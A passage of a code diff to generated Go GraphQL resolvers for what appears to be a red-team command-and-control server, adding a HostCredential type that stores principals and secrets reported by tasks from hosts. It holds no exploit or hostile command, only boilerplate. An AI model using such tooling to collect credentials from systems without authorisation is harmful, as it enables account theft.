-		return graphql.Null
-	}
-	if resTmp == nil {
-		return graphql.Null
-	}
-	res := resTmp.(string)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_owner(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_group(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_group(ctx, field)
+func (ec *executionContext) _HostCredential_principal(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_principal(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -1940,64 +1916,26 @@ func (ec *executionContext) _HostFile_group(ctx context.Context, field graphql.C
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Group, nil
+		return obj.Principal, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		return graphql.Null
-	}
-	res := resTmp.(string)
-	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostFile_group(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostFile",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostFile_permissions(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_permissions(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
 		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Permissions, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
 		return graphql.Null
 	}
 	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_permissions(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_principal(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2008,8 +1946,8 @@ func (ec *executionContext) fieldContext_HostFile_permissions(ctx context.Contex
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_size(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_size(ctx, field)
+func (ec *executionContext) _HostCredential_secret(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_secret(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2022,7 +1960,7 @@ func (ec *executionContext) _HostFile_size(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Size, nil
+		return obj.Secret, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2034,55 +1972,14 @@ func (ec *executionContext) _HostFile_size(ctx context.Context, field graphql.Co
 		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
-	fc.Result = res
-	return ec.marshalNInt2int(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostFile_size(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostFile",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Int does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostFile_hash(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_hash(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
-		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Hash, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		return graphql.Null
-	}
 	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_hash(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_secret(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2093,8 +1990,8 @@ func (ec *executionContext) fieldContext_HostFile_hash(ctx context.Context, fiel
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_host(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_host(ctx, field)
+func (ec *executionContext) _HostCredential_host(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_host(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2124,9 +2021,9 @@ func (ec *executionContext) _HostFile_host(ctx context.Context, field graphql.Co
 	return ec.marshalNHost2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHost(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_host(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_host(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
@@ -2156,6 +2053,8 @@ func (ec *executionContext) fieldContext_HostFile_host(ctx context.Context, fiel
 				return ec.fieldContext_Host_files(ctx, field)
 			case "processes":
 				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
@@ -2163,8 +2062,8 @@ func (ec *executionContext) fieldContext_HostFile_host(ctx context.Context, fiel
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_task(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_task(ctx, field)
+func (ec *executionContext) _HostCredential_task(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_task(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2194,9 +2093,9 @@ func (ec *executionContext) _HostFile_task(ctx context.Context, field graphql.Co
 	return ec.marshalNTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_task(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_task(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
@@ -2228,6 +2127,8 @@ func (ec *executionContext) fieldContext_HostFile_task(ctx context.Context, fiel
 				return ec.fieldContext_Task_reportedFiles(ctx, field)
 			case "reportedProcesses":
 				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
@@ -2235,8 +2136,8 @@ func (ec *executionContext) fieldContext_HostFile_task(ctx context.Context, fiel
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_id(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_id(ctx, field)
+func (ec *executionContext) _HostFile_id(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2266,9 +2167,9 @@ func (ec *executionContext) _HostProcess_id(ctx context.Context, field graphql.C
 	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2279,8 +2180,8 @@ func (ec *executionContext) fieldContext_HostProcess_id(ctx context.Context, fie
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_createdAt(ctx, field)
+func (ec *executionContext) _HostFile_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2310,9 +2211,9 @@ func (ec *executionContext) _HostProcess_createdAt(ctx context.Context, field gr
 	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2323,8 +2224,8 @@ func (ec *executionContext) fieldContext_HostProcess_createdAt(ctx context.Conte
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_lastModifiedAt(ctx, field)
+func (ec *executionContext) _HostFile_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2354,9 +2255,9 @@ func (ec *executionContext) _HostProcess_lastModifiedAt(ctx context.Context, fie
 	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2367,8 +2268,8 @@ func (ec *executionContext) fieldContext_HostProcess_lastModifiedAt(ctx context.
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_pid(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_pid(ctx, field)
+func (ec *executionContext) _HostFile_path(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_path(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2381,7 +2282,7 @@ func (ec *executionContext) _HostProcess_pid(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Pid, nil
+		return obj.Path, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2393,26 +2294,26 @@ func (ec *executionContext) _HostProcess_pid(ctx context.Context, field graphql.
 		}
 		return graphql.Null
 	}
-	res := resTmp.(uint64)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNUint642uint64(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_pid(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_path(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Uint64 does not have child fields")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_ppid(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_ppid(ctx, field)
+func (ec *executionContext) _HostFile_owner(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_owner(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2425,114 +2326,23 @@ func (ec *executionContext) _HostProcess_ppid(ctx context.Context, field graphql
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Ppid, nil
+		return obj.Owner, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(uint64)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNUint642uint64(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_ppid(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_owner(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Uint64 does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostProcess_name(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_name(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
-		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Name, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
-		return graphql.Null
-	}
-	res := resTmp.(string)
-	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostProcess_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostProcess_principal(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_principal(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
-		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Principal, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
-		return graphql.Null
-	}
-	res := resTmp.(string)
-	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostProcess_principal(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2543,8 +2353,8 @@ func (ec *executionContext) fieldContext_HostProcess_principal(ctx context.Conte
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_path(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_path(ctx, field)
+func (ec *executionContext) _HostFile_group(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_group(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2557,7 +2367,7 @@ func (ec *executionContext) _HostProcess_path(ctx context.Context, field graphql
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Path, nil
+		return obj.Group, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2571,9 +2381,9 @@ func (ec *executionContext) _HostProcess_path(ctx context.Context, field graphql
 	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_path(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_group(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2584,8 +2394,8 @@ func (ec *executionContext) fieldContext_HostProcess_path(ctx context.Context, f
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_cmd(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_cmd(ctx, field)
+func (ec *executionContext) _HostFile_permissions(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_permissions(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2598,7 +2408,7 @@ func (ec *executionContext) _HostProcess_cmd(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Cmd, nil
+		return obj.Permissions, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2612,9 +2422,9 @@ func (ec *executionContext) _HostProcess_cmd(ctx context.Context, field graphql.
 	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_cmd(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_permissions(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2625,8 +2435,8 @@ func (ec *executionContext) fieldContext_HostProcess_cmd(ctx context.Context, fi
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_env(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_env(ctx, field)
+func (ec *executionContext) _HostFile_size(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_size(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2639,35 +2449,38 @@ func (ec *executionContext) _HostProcess_env(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Env, nil
+		return obj.Size, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(uint64)
 	fc.Result = res
-	return ec.marshalOString2string(ctx, field.Selections, res)
+	return ec.marshalNUint642uint64(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_env(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_size(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			return nil, errors.New("field of type Uint64 does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_cwd(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_cwd(ctx, field)
+func (ec *executionContext) _HostFile_hash(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_hash(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2680,7 +2493,7 @@ func (ec *executionContext) _HostProcess_cwd(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Cwd, nil
+		return obj.Hash, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -2694,9 +2507,9 @@ func (ec *executionContext) _HostProcess_cwd(ctx context.Context, field graphql.
 	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_cwd(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_hash(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -2707,52 +2520,8 @@ func (ec *executionContext) fieldContext_HostProcess_cwd(ctx context.Context, fi
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_status(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_status(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
-		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Status, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
-		return graphql.Null
-	}
-	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
-		return graphql.Null
-	}
-	res := resTmp.(epb.Process_Status)
-	fc.Result = res
-	return ec.marshalNHostProcessStatus2realmᚗpubᚋtavernᚋinternalᚋc2ᚋepbᚐProcess_Status(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostProcess_status(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type HostProcessStatus does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostProcess_host(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_host(ctx, field)
+func (ec *executionContext) _HostFile_host(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_host(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2782,9 +2551,9 @@ func (ec *executionContext) _HostProcess_host(ctx context.Context, field graphql
 	return ec.marshalNHost2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHost(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_host(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_host(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostProcess",
+		Object:     "HostFile",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
@@ -2814,6 +2583,8 @@ func (ec *executionContext) fieldContext_HostProcess_host(ctx context.Context, f
 				return ec.fieldContext_Host_files(ctx, field)
 			case "processes":
 				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
@@ -2821,8 +2592,8 @@ func (ec *executionContext) fieldContext_HostProcess_host(ctx context.Context, f
 	return fc, nil
 }
 
-func (ec *executionContext) _HostProcess_task(ctx context.Context, field graphql.CollectedField, obj *ent.HostProcess) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostProcess_task(ctx, field)
+func (ec *executionContext) _HostFile_task(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostFile_task(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -2852,9 +2623,9 @@ func (ec *executionContext) _HostProcess_task(ctx context.Context, field graphql
 	return ec.marshalNTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostProcess_task(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostFile_task(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
